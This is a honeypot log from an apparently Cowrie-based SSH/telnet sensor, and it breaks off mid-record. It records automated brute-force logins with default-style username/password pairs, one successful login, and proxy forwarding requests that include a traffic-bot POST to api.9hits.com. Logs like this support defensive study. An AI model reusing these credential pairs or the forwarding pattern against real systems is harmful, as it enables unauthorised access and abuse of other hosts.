{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:40.061465Z","src_ip":"23.175.50.52","session":"39c714d20daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0u\\t\\x1fT\\xbb\\x0c\\xd42t\\x0bZU\\x99\\xe2\\x9c\\x02\\xf3\\t\\x1f\\xe3\\xf3\\xab\\x92\\x06\\xdaC\\x1e\\xebo\\xfa  \\xc5k\\x14\\x0c\\xf7/L\\x16\\xcc3\\x9aL\\xcb\\xd9\\xb9\\x00i\\xc2\\x9c\\xfe>\\xbf\\x1f\\x90[\\xe2\\x00\\xad\\x06\\x13Mb\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa0\\xe8\\xb8\\xdc\\xd0\\x98\\xd7\\x96n\\xb0G\\x96\\x7f\\x92q\\xed\\x9a\\x82\\xf5\\x87\\xd4\\xa9\\xd5b6Q\\x95\\xd4\\xc1\\xe3\\xbcD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0u\\t\\x1fT\\xbb\\x0c\\xd42t\\x0bZU\\x99\\xe2\\x9c\\x02\\xf3\\t\\x1f\\xe3\\xf3\\xab\\x92\\x06\\xdaC\\x1e\\xebo\\xfa  \\xc5k\\x14\\x0c\\xf7/L\\x16\\xcc3\\x9aL\\xcb\\xd9\\xb9\\x00i\\xc2\\x9c\\xfe>\\xbf\\x1f\\x90[\\xe2\\x00\\xad\\x06\\x13Mb\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa0\\xe8\\xb8\\xdc\\xd0\\x98\\xd7\\x96n\\xb0G\\x96\\x7f\\x92q\\xed\\x9a\\x82\\xf5\\x87\\xd4\\xa9\\xd5b6Q\\x95\\xd4\\xc1\\xe3\\xbcD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:40.064867Z","src_ip":"23.175.50.52","session":"39c714d20daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:40.662680Z","session":"39c714d20daa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:41.611707Z","src_ip":"91.92.40.36","session":"b45f2201be55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32750,"dst_ip":"159.203.135.109","dst_port":22,"session":"c01dd4c66cda","protocol":"ssh","message":"New connection: 91.92.40.36:32750 (159.203.135.109:22) [session: c01dd4c66cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:44.435654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:44.895181Z","src_ip":"91.92.40.36","session":"c01dd4c66cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:45.139427Z","src_ip":"23.175.50.52","session":"39c714d20daa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:45.740887Z","src_ip":"91.92.40.36","session":"c01dd4c66cda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":49180,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dec06c70762","protocol":"telnet","message":"New connection: 94.23.66.112:49180 (10.17.0.5:23) [session: 6dec06c70762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:45.957611Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17188,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a0f403c4663","protocol":"ssh","message":"New connection: 91.92.40.36:17188 (159.203.135.109:22) [session: 2a0f403c4663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:49.934037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:50.528686Z","src_ip":"91.92.40.36","session":"2a0f403c4663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:50.531893Z","src_ip":"91.92.40.36","session":"2a0f403c4663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"norm","message":"login attempt [admin/norm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:51.128776Z","src_ip":"91.92.40.36","session":"c01dd4c66cda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Robert","password":"123456","message":"login attempt [Robert/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:52.869839Z","src_ip":"91.92.40.36","session":"2a0f403c4663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:53.252929Z","src_ip":"91.92.40.36","session":"c01dd4c66cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:54.634110Z","src_ip":"91.92.40.36","session":"2a0f403c4663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20882,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e95627747ae","protocol":"ssh","message":"New connection: 91.92.40.36:20882 (159.203.135.109:22) [session: 0e95627747ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:58.790233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:58.817592Z","src_ip":"91.92.40.36","session":"0e95627747ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:58.908655Z","src_ip":"91.92.40.36","session":"0e95627747ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fatima","password":"1234","message":"login attempt [fatima/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:59.459357Z","src_ip":"91.92.40.36","session":"0e95627747ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:00.683527Z","src_ip":"91.92.40.36","session":"0e95627747ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":55681,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e248fc677b6","protocol":"ssh","message":"New connection: 123.27.168.40:55681 (10.17.0.5:22) [session: 0e248fc677b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:05.086769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:05.092742Z","src_ip":"123.27.168.40","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:05.402914Z","src_ip":"123.27.168.40","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20950,"dst_ip":"159.203.135.109","dst_port":22,"session":"c76708ff4b05","protocol":"ssh","message":"New connection: 91.92.40.36:20950 (159.203.135.109:22) [session: c76708ff4b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:05.980605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:06.509654Z","src_ip":"91.92.40.36","session":"c76708ff4b05","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:06.561187Z","src_ip":"123.27.168.40","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:06.920320Z","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:07.007364Z","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:07.095649Z","src_ip":"91.92.40.36","session":"c76708ff4b05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:07.286059Z","src_ip":"123.27.168.40","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.96 Mobile/13D15 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: 